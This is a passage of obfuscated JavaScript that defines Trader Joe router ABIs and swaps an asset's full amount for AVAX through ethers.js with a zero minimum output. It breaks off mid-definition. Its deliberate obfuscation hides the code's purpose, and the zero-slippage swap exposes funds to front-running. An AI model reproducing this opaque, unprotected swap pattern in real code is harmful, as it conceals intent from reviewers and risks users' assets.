'name': "feesIn",
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x58aabc = {
internalType: "contract ILBPair",
name: '_LBPair',
type: "address"
};
const _0x2020e6 = {
internalType: "uint256",
name: "_amountIn",
type: 'uint256'
};
const _0x28789c = {
internalType: 'bool',
name: "_swapForY",
type: 'bool'
};
const _0x13df30 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x1d0d57 = {
internalType: "uint256",
name: "feesIn",
type: "uint256"
};
const _0x2c3de8 = {
inputs: [_0x58aabc, _0x2020e6, _0x28789c],
name: "getSwapOut",
outputs: [_0x13df30, _0x1d0d57],
stateMutability: 'view',
type: 'function'
};
const _0x1b5d1a = {
inputs: [],
name: "oldFactory",
outputs: [{
'internalType': "contract IJoeFactory",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x4f0bb9 = {
internalType: "contract IERC20",
name: "_tokenX",
type: "address"
};
const _0xdf4393 = {
internalType: "contract IERC20",
name: "_tokenY",
type: 'address'
};
const _0x1bbd25 = {
internalType: "uint16",
name: "_binStep",
type: "uint16"
};
const _0x3641b2 = {
internalType: "uint256",
name: "_amountXMin",
type: 'uint256'
};
const _0x1c0587 = {
internalType: "uint256",
name: "_amountYMin",
type: "uint256"
};
const _0x1ac307 = {
internalType: "uint256[]",
name: "_ids",
type: "uint256[]"
};
const _0x92b77b = {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
};
const _0x93f3c = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x3eb593 = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0xd7b998 = {
inputs: [_0x4f0bb9, _0xdf4393, _0x1bbd25, _0x3641b2, _0x1c0587, _0x1ac307, _0x92b77b, _0x93f3c, _0x3eb593],
name: "removeLiquidity",
outputs: [{
'internalType': 'uint256',
'name': "amountX",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountY",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3f48c9 = {
internalType: "contract IERC20",
name: "_token",
type: "address"
};
const _0x8487ba = {
internalType: "uint16",
name: "_binStep",
type: "uint16"
};
const _0x35326e = {
internalType: "uint256",
name: "_amountTokenMin",
type: "uint256"
};
const _0xea774b = {
internalType: "uint256",
name: "_amountAVAXMin",
type: "uint256"
};
const _0x181bf9 = {
internalType: "uint256[]",
name: "_ids",
type: "uint256[]"
};
const _0x3193af = {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
};
const _0x1443bb = {
internalType: "address payable",
name: "_to",
type: 'address'
};
const _0xa6e6ec = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x187489 = {
inputs: [_0x3f48c9, _0x8487ba, _0x35326e, _0xea774b, _0x181bf9, _0x3193af, _0x1443bb, _0xa6e6ec],
name: "removeLiquidityAVAX",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x54e21f = {
internalType: "uint256",
name: "_amountOut",
type: "uint256"
};
const _0x2cf67f = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x229a4f = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x50f95f = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x9001b1 = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x14ac23 = {
inputs: [_0x54e21f, _0x2cf67f, _0x229a4f, _0x50f95f, _0x9001b1],
name: "swapAVAXForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amountsIn",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x292017 = {
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
};
const _0x45c130 = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x201006 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x4e79b2 = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x4b045b = {
internalType: "uint256",
name: "_deadline",
type: 'uint256'
};
const _0x598cc5 = {
inputs: [_0x292017, _0x45c130, _0x201006, _0x4e79b2, _0x4b045b],
name: "swapExactAVAXForTokens",
outputs: [{
'internalType': "uint256",
'name': 'amountOut',
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x4f6cf5 = {
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
};
const _0x26569c = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0xe2a499 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x3fdf5c = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x2970d9 = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x1aa243 = {
inputs: [_0x4f6cf5, _0x26569c, _0xe2a499, _0x3fdf5c, _0x2970d9],
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x2ed96f = {
internalType: "uint256",
name: '_amountIn',
type: "uint256"
};
const _0x365048 = {
internalType: "uint256",
name: "_amountOutMinAVAX",
type: "uint256"
};
const _0x799dec = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x34c025 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0xf86c6b = {
internalType: "address payable",
name: "_to",
type: 'address'
};
const _0x57f690 = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x3cd247 = {
inputs: [_0x2ed96f, _0x365048, _0x799dec, _0x34c025, _0xf86c6b, _0x57f690],
name: "swapExactTokensForAVAX",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x3a60f9 = {
internalType: "uint256",
name: '_amountIn',
type: "uint256"
};
const _0x494ece = {
internalType: "uint256",
name: "_amountOutMinAVAX",
type: "uint256"
};
const _0x243581 = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x121a27 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0xa616de = {
internalType: "address payable",
name: "_to",
type: 'address'
};
const _0x85d05a = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x1b7293 = {
inputs: [_0x3a60f9, _0x494ece, _0x243581, _0x121a27, _0xa616de, _0x85d05a],
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x14f771 = {
internalType: "uint256",
name: '_amountIn',
type: "uint256"
};
const _0x2af528 = {
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
};
const _0x572df3 = {
internalType: 'uint256[]',
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x4173a0 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x110c9b = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x1e0ebd = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x53efa7 = {
inputs: [_0x14f771, _0x2af528, _0x572df3, _0x4173a0, _0x110c9b, _0x1e0ebd],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x128ccb = {
internalType: 'uint256',
name: '_amountIn',
type: "uint256"
};
const _0x2f35f9 = {
internalType: "uint256",
name: "_amountOutMin",
type: "uint256"
};
const _0x45f4e3 = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x21f491 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x30a9b5 = {
internalType: 'address',
name: "_to",
type: "address"
};
const _0x2ede45 = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x230486 = {
inputs: [_0x128ccb, _0x2f35f9, _0x45f4e3, _0x21f491, _0x30a9b5, _0x2ede45],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x28530c = {
internalType: "uint256",
name: "_amountAVAXOut",
type: "uint256"
};
const _0x221d69 = {
internalType: "uint256",
name: "_amountInMax",
type: "uint256"
};
const _0x183969 = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x492e10 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x5fb528 = {
internalType: "address payable",
name: "_to",
type: 'address'
};
const _0x4abb66 = {
internalType: "uint256",
name: '_deadline',
type: "uint256"
};
const _0x1da4c1 = {
internalType: "uint256[]",
name: "amountsIn",
type: "uint256[]"
};
const _0x11b5fb = {
inputs: [_0x28530c, _0x221d69, _0x183969, _0x492e10, _0x5fb528, _0x4abb66],
name: "swapTokensForExactAVAX",
outputs: [_0x1da4c1],
stateMutability: "nonpayable",
type: 'function'
};
const _0x194dd7 = {
internalType: "uint256",
name: "_amountOut",
type: "uint256"
};
const _0x70dfed = {
internalType: "uint256",
name: "_amountInMax",
type: "uint256"
};
const _0x33d4eb = {
internalType: "uint256[]",
name: "_pairBinSteps",
type: "uint256[]"
};
const _0x5a5132 = {
internalType: "contract IERC20[]",
name: "_tokenPath",
type: "address[]"
};
const _0x3c4ad6 = {
internalType: 'address',
name: "_to",
type: 'address'
};
const _0x438d46 = {
internalType: "uint256",
name: "_deadline",
type: "uint256"
};
const _0x2382ed = {
inputs: [_0x194dd7, _0x70dfed, _0x33d4eb, _0x5a5132, _0x3c4ad6, _0x438d46],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amountsIn",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x19fdd3 = {
internalType: "contract IERC20",
name: "_token",
type: 'address'
};
const _0x50968b = {
internalType: "address",
name: "_to",
type: "address"
};
const _0x592807 = {
internalType: "uint256",
name: '_amount',
type: 'uint256'
};
const _0x26c774 = {
inputs: [_0x19fdd3, _0x50968b, _0x592807],
name: "sweep",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x583d27 = {
internalType: "contract ILBToken",
name: '_lbToken',
type: 'address'
};
const _0x3c81b1 = {
internalType: 'address',
name: "_to",
type: "address"
};
const _0x2d2896 = {
internalType: "uint256[]",
name: "_ids",
type: "uint256[]"
};
const _0x12bdf6 = {
internalType: "uint256[]",
name: "_amounts",
type: "uint256[]"
};
const _0xa0104f = {
inputs: [_0x583d27, _0x3c81b1, _0x2d2896, _0x12bdf6],
name: "sweepLBToken",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2be9b5 = {
internalType: "contract IWAVAX",
name: '',
type: 'address'
};
const _0x5cbc91 = {
inputs: [],
name: 'wavax',
outputs: [_0x2be9b5],
stateMutability: 'view',
type: 'function'
};
const _0xbfb6b7 = {
stateMutability: "payable",
type: "receive"
};
let _0x1def77 = [_0x1d7361, _0x35342c, _0xc81fbe, _0x4af7f3, _0x2af997, _0x4cbf55, _0x1fae54, _0x226a52, _0x38b0b9, _0x3e5524, _0x2611fd, _0x148f26, _0x49a847, _0x52a546, _0x509c81, _0x23dd3c, _0x16a8a7, _0x157e16, _0x2466be, _0x18d141, _0x573bb8, _0x53a3e5, _0x3381a6, _0x4820fe, _0x4dfdc1, _0x43b17c, _0x39fdb7, _0x1067bf, _0x9a05a7, _0x4d55c1, _0x4c91db, _0x676494, _0x3d235f, _0x40c38e, _0xbc1de2, _0x247efb, _0x4ea795, _0x2ac1dc, _0x4ed39b, _0x29d617, _0x228b63, _0x59a73e, _0x2c3de8, _0x1b5d1a, _0xd7b998, _0x187489, _0x14ac23, _0x598cc5, _0x1aa243, _0x3cd247, _0x1b7293, _0x53efa7, _0x230486, _0x11b5fb, _0x2382ed, _0x26c774, _0xa0104f, _0x5cbc91, _0xbfb6b7];
let _0x42f36e = new ethers.Contract(_0x1d9d78, _0x1def77, _0x30ef12);
let _0x523a68 = await _0x42f36e.wavax();
let _0x184e96 = [];
_0x184e96[0] = _0x579e7a.asset.token;
_0x184e96[1] = _0x523a68;
return _0x42f36e.swapExactTokensForAVAX(_0x579e7a.asset.amount, 0, [0], _0x184e96, this.caller, _0x10922f);
}
case "TraderJoeV3":
{
const _0x5ba9f9 = {
internalType: "contract ILBFactory",
name: "factory",
type: 'address'
};
const _0xc45241 = {
internalType: "contract IJoeFactory",
name: 'factoryV1',
type: 'address'
};
const _0x25b094 = {
internalType: "contract ILBLegacyFactory",
name: "legacyFactory",
type: 'address'
};
const _0x2d3bcb = {
internalType: "contract ILBLegacyRouter",
name: "legacyRouter",
type: 'address'
};
const _0x345d25 = {
internalType: "contract IWNATIVE",
name: "wnative",
type: "address"
};
const _0x454175 = {
inputs: [_0x5ba9f9, _0xc45241, _0x25b094, _0x2d3bcb, _0x345d25],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x13ff3b = {
inputs: [],
name: "AddressHelper__CallFailed",
type: 'error'
};
const _0x13dc4c = {
inputs: [],
name: "AddressHelper__NonContract",
type: 'error'
};
const _0x3786af = {
inputs: [],
name: "JoeLibrary__InsufficientAmount",
type: 'error'
};
const _0x56deaf = {
inputs: [],
name: "JoeLibrary__InsufficientLiquidity",
type: 'error'
};
const _0x5a7492 = {
internalType: "uint256",
name: "amountSlippage",
type: "uint256"
};
const _0x24e79d = {
inputs: [_0x5a7492],
name: "LBRouter__AmountSlippageBPTooBig",
type: "error"
};
const _0x25952d = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x418b53 = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0x2e941a = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0x5754c9 = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x4da759 = {
inputs: [_0x25952d, _0x418b53, _0x2e941a, _0x5754c9],
name: "LBRouter__AmountSlippageCaught",
type: "error"
};
const _0x7a2cbe = {
internalType: "uint256",
name: 'id',
type: 'uint256'
};
const _0x576388 = {
inputs: [_0x7a2cbe],
name: "LBRouter__BinReserveOverflows",
type: 'error'
};
const _0x122e67 = {
inputs: [],
name: "LBRouter__BrokenSwapSafetyCheck",
type: 'error'
};
const _0x4423a0 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x2d890a = {
internalType: "uint256",
name: "currentTimestamp",
type: "uint256"
};
const _0x3f4cfa = {
inputs: [_0x4423a0, _0x2d890a],
name: "LBRouter__DeadlineExceeded",
type: 'error'
};
const _0x5834d5 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x2cd650 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x321654 = {
inputs: [_0x5834d5, _0x2cd650],
name: "LBRouter__FailedToSendNATIVE",
type: 'error'
};
const _0x3abbb0 = {
internalType: "uint256",
name: "idDesired",
type: 'uint256'
};
const _0x3ec474 = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x342822 = {
inputs: [_0x3abbb0, _0x3ec474],
name: "LBRouter__IdDesiredOverflows",
type: 'error'
};
const _0x22f44e = {
internalType: "int256",
name: 'id',
type: "int256"
};
const _0xec5e9a = {
inputs: [_0x22f44e],
name: "LBRouter__IdOverflows",
type: 'error'
};
const _0x22f0af = {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
};
const _0x1d591b = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x53307e = {
internalType: "uint256",
name: 'activeId',
type: "uint256"
};
const _0x2b268e = {
inputs: [_0x22f0af, _0x1d591b, _0x53307e],
name: "LBRouter__IdSlippageCaught",
type: 'error'
};
const _0x3c7e8d = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x5a8552 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x57d83f = {
inputs: [_0x3c7e8d, _0x5a8552],
name: "LBRouter__InsufficientAmountOut",
type: 'error'
};
const _0x531f12 = {
internalType: 'address',
name: "wrongToken",
type: "address"
};
const _0x1b39b6 = {
inputs: [_0x531f12],
name: "LBRouter__InvalidTokenPath",
type: "error"
};
const _0x3229cc = {
internalType: "uint256",
name: "version",
type: "uint256"
};
const _0x3bbe83 = {
inputs: [_0x3229cc],
name: "LBRouter__InvalidVersion",
type: 'error'
};
const _0x1ee918 = {
inputs: [],
name: "LBRouter__LengthsMismatch",
type: 'error'
};
const _0x9b39c7 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x5510ac = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x1da57f = {
inputs: [_0x9b39c7, _0x5510ac],
name: "LBRouter__MaxAmountInExceeded",
type: 'error'
};
const _0x1ec4fa = {
inputs: [],
name: "LBRouter__NotFactoryOwner",
type: 'error'
};
const _0x2763e1 = {
internalType: 'address',
name: "tokenX",
type: 'address'
};
const _0x37e170 = {
internalType: 'address',
name: "tokenY",
type: 'address'
};
const _0x991a5b = {
internalType: "uint256",
name: 'binStep',
type: "uint256"
};
const _0x118ec6 = {
inputs: [_0x2763e1, _0x37e170, _0x991a5b],
name: "LBRouter__PairNotCreated",
type: 'error'
};
const _0x42ca2d = {
inputs: [],
name: "LBRouter__SenderIsNotWNATIVE",
type: "error"
};
const _0x3230ba = {
internalType: "uint256",
name: 'id',
type: "uint256"
};
const _0x1d4fbe = {
inputs: [_0x3230ba],
name: "LBRouter__SwapOverflows",
type: 'error'
};
const _0x1ed0da = {
internalType: "uint256",
name: "excess",
type: "uint256"
};
const _0x502930 = {
inputs: [_0x1ed0da],
name: "LBRouter__TooMuchTokensIn",
type: 'error'
};
const _0xd42fb1 = {
internalType: "uint256",
name: 'amount',
type: "uint256"
};
const _0x3ae8c1 = {
internalType: "uint256",
name: "reserve",
type: "uint256"
};
const _0x156c38 = {
inputs: [_0xd42fb1, _0x3ae8c1],
name: "LBRouter__WrongAmounts",
type: 'error'
};
const _0x2b3527 = {
internalType: 'address',
name: "tokenX",
type: 'address'
};
const _0x594e6a = {
internalType: 'address',
name: "tokenY",
type: "address"
};
const _0x4192b5 = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0x4be23f = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x3c52d0 = {
internalType: "uint256",
name: "msgValue",
type: "uint256"
};
const _0x3cd325 = {
inputs: [_0x2b3527, _0x594e6a, _0x4192b5, _0x4be23f, _0x3c52d0],
name: "LBRouter__WrongNativeLiquidityParameters",
type: 'error'
};
const _0x10bfd0 = {
inputs: [],
name: "LBRouter__WrongTokenOrder",
type: 'error'
};
const _0x3a0c62 = {
inputs: [],
name: "TokenHelper__TransferFailed",
type: 'error'
};
const _0x309afa = {
internalType: "contract IERC20",
name: "tokenX",
type: 'address'
};
const _0x4fa5b0 = {
internalType: "contract IERC20",
name: 'tokenY',
type: 'address'
};
const _0x5d3bc1 = {
internalType: "uint256",
name: "binStep",
type: "uint256"
};
const _0x3ca832 = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0x407a8e = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x460625 = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x541c87 = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0x328a52 = {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
};
const _0x5a9b15 = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x29f1eb = {
internalType: 'int256[]',
name: 'deltaIds',
type: 'int256[]'
};
const _0x11bb0f = {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
};
const _0x9de6c1 = {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
};
const _0x946d04 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x461a3e = {
internalType: 'address',
name: 'refundTo',
type: "address"
};
const _0x239dc2 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5712aa = {
components: [_0x309afa, _0x4fa5b0, _0x5d3bc1, _0x3ca832, _0x407a8e, _0x460625, _0x541c87, _0x328a52, _0x5a9b15, _0x29f1eb, _0x11bb0f, _0x9de6c1, _0x946d04, _0x461a3e, _0x239dc2],
internalType: "struct ILBRouter.LiquidityParameters",
name: "liquidityParameters",
type: "tuple"
};
const _0x458b2e = {
inputs: [_0x5712aa],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountXAdded",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountYAdded",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountXLeft",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountYLeft",
'type': "uint256"
}, {
'internalType': "uint256[]",
'name': "depositIds",
'type': "uint256[]"
}, {
'internalType': "uint256[]",
'name': "liquidityMinted",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x7c7362 = {
internalType: "contract IERC20",
name: "tokenX",
type: "address"
};
const _0x4dd0b9 = {
internalType: "contract IERC20",
name: "tokenY",
type: 'address'
};
const _0x4b6542 = {
internalType: "uint256",
name: 'binStep',
type: "uint256"
};
const _0xa500dd = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0x1f3677 = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x1c4d1d = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x2a5645 = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0x56c128 = {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
};
const _0x34668d = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x4c9f5a = {
internalType: "int256[]",
name: 'deltaIds',
type: 'int256[]'
};
const _0x415c82 = {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
};
const _0x267535 = {
internalType: 'uint256[]',
name: "distributionY",
type: "uint256[]"
};
const _0x19ec08 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x22404a = {
internalType: "address",
name: 'refundTo',
type: 'address'
};
const _0x24195c = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x23a5d5 = {
components: [_0x7c7362, _0x4dd0b9, _0x4b6542, _0xa500dd, _0x1f3677, _0x1c4d1d, _0x2a5645, _0x56c128, _0x34668d, _0x4c9f5a, _0x415c82, _0x267535, _0x19ec08, _0x22404a, _0x24195c],
internalType: "struct ILBRouter.LiquidityParameters",
name: "liquidityParameters",
type: "tuple"
};
const _0xdd0c11 = {
inputs: [_0x23a5d5],
name: "addLiquidityNATIVE",
outputs: [{
'internalType': "uint256",
'name': "amountXAdded",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountYAdded",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountXLeft",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountYLeft",
'type': "uint256"
}, {
'internalType': "uint256[]",
'name': "depositIds",
'type': "uint256[]"
}, {
'internalType': "uint256[]",
'name': "liquidityMinted",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x4b529 = {
internalType: "contract IERC20",
name: "tokenX",
type: 'address'
};
const _0x55c4bb = {
internalType: "contract IERC20",
name: "tokenY",
type: "address"
};
const _0x17babe = {
internalType: "uint24",
name: 'activeId',
type: "uint24"
};
const _0xbd04ba = {
internalType: "uint16",
name: 'binStep',
type: "uint16"
};
const _0x10cab6 = {
inputs: [_0x4b529, _0x55c4bb, _0x17babe, _0xbd04ba],
name: "createLBPair",
outputs: [{
'internalType': "contract ILBPair",
'name': "pair",
'type': 'address'
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x22fee4 = {
inputs: [],
name: "getFactory",
outputs: [{
'internalType': "contract ILBFactory",
'name': "lbFactory",
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x50156a = {
internalType: "contract ILBPair",
name: "pair",
type: 'address'
};
const _0x2a0ab2 = {
internalType: "uint256",
name: "price",
type: "uint256"
};
const _0x31f985 = {
internalType: "uint24",
name: '',
type: "uint24"
};
const _0x3908de = {
inputs: [_0x50156a, _0x2a0ab2],
name: "getIdFromPrice",
outputs: [_0x31f985],
stateMutability: 'view',
type: 'function'
};
const _0x515df4 = {
inputs: [],
name: "getLegacyFactory",
outputs: [{
'internalType': "contract ILBLegacyFactory",
'name': "legacyLBfactory",
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x49f260 = {
internalType: "contract ILBLegacyRouter",
name: "legacyRouter",
type: 'address'
};
const _0x5c254f = {
inputs: [],
name: "getLegacyRouter",
outputs: [_0x49f260],
stateMutability: "view",
type: 'function'
};
const _0x6c92c2 = {
internalType: "contract ILBPair",
name: "pair",
type: 'address'
};
const _0x1e4178 = {
internalType: "uint24",
name: 'id',
type: "uint24"
};
const _0x23580e = {
inputs: [_0x6c92c2, _0x1e4178],
name: "getPriceFromId",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x52e3f6 = {
internalType: "contract ILBPair",
name: "pair",
type: "address"
};
const _0x104af7 = {
internalType: "uint128",
name: "amountOut",
type: "uint128"
};
const _0x55ceff = {
internalType: "bool",
name: "swapForY",
type: "bool"
};
const _0x4689a9 = {
internalType: "uint128",
name: "amountIn",
type: "uint128"
};
const _0x4f7ec8 = {
internalType: "uint128",
name: "amountOutLeft",
type: "uint128"
};
const _0x650061 = {
internalType: "uint128",
name: "fee",
type: "uint128"
};
const _0x391ac2 = {
inputs: [_0x52e3f6, _0x104af7, _0x55ceff],
name: "getSwapIn",
outputs: [_0x4689a9, _0x4f7ec8, _0x650061],
stateMutability: "view",
type: 'function'
};
const _0x10351c = {
internalType: "contract ILBPair",
name: "pair",
type: "address"
};
const _0x47a325 = {
internalType: "uint128",
name: "amountIn",
type: "uint128"
};
const _0x4a45d4 = {
internalType: 'bool',
name: "swapForY",
type: 'bool'
};
const _0x4b9ecf = {
internalType: "uint128",
name: "amountInLeft",
type: "uint128"
};
const _0x4880a2 = {
internalType: "uint128",
name: "amountOut",
type: "uint128"
};
const _0x1fb605 = {
internalType: "uint128",
name: "fee",
type: "uint128"
};
const _0x5e9179 = {
inputs: [_0x10351c, _0x47a325, _0x4a45d4],
name: "getSwapOut",
outputs: [_0x4b9ecf, _0x4880a2, _0x1fb605],
stateMutability: 'view',
type: "function"
};
const _0x4d2d55 = {
internalType: "contract IJoeFactory",
name: 'factoryV1',
type: 'address'
};
const _0x3663ad = {
inputs: [],
name: "getV1Factory",
outputs: [_0x4d2d55],
stateMutability: 'view',
type: 'function'
};
const _0x33518a = {
inputs: [],
name: 'getWNATIVE',
outputs: [{
'internalType': "contract IWNATIVE",
'name': "wnative",
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x1d34d1 = {
internalType: "contract IERC20",
name: "tokenX",
type: 'address'
};
const _0x52ef31 = {
internalType: "contract IERC20",
name: 'tokenY',
type: "address"
};
const _0x34a990 = {
internalType: "uint16",
name: 'binStep',
type: "uint16"
};
const _0x318d20 = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x4fca9a = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0x425044 = {
internalType: "uint256[]",
name: 'ids',
type: "uint256[]"
};
const _0x3e9f40 = {
internalType: 'uint256[]',
name: "amounts",
type: 'uint256[]'
};
const _0x4b644b = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x44fe46 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x532c75 = {
inputs: [_0x1d34d1, _0x52ef31, _0x34a990, _0x318d20, _0x4fca9a, _0x425044, _0x3e9f40, _0x4b644b, _0x44fe46],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountX",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountY",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2493c7 = {
internalType: "contract IERC20",
name: "token",
type: "address"
};
const _0x247d4e = {
internalType: "uint16",
name: 'binStep',
type: "uint16"
};
const _0x1ce134 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x323942 = {
internalType: 'uint256',
name: "amountNATIVEMin",
type: "uint256"
};
const _0x122137 = {
internalType: "uint256[]",
name: 'ids',
type: "uint256[]"
};
const _0x45bc9d = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0xc4c61a = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0x18e544 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3a0172 = {
internalType: "uint256",
name: "amountToken",
type: "uint256"
};
const _0x2f4fc6 = {
internalType: "uint256",
name: "amountNATIVE",
type: "uint256"
};
const _0x5d4e28 = {
inputs: [_0x2493c7, _0x247d4e, _0x1ce134, _0x323942, _0x122137, _0x45bc9d, _0xc4c61a, _0x18e544],
name: "removeLiquidityNATIVE",
outputs: [_0x3a0172, _0x2f4fc6],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5ce5d7 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x13815f = {
internalType: "uint256[]",
name: "pairBinSteps",
type: "uint256[]"
};
const _0x46c71a = {
internalType: "enum ILBRouter.Version[]",
name: "versions",
type: "uint8[]"
};
const _0xb611f0 = {
internalType: "contract IERC20[]",
name: "tokenPath",
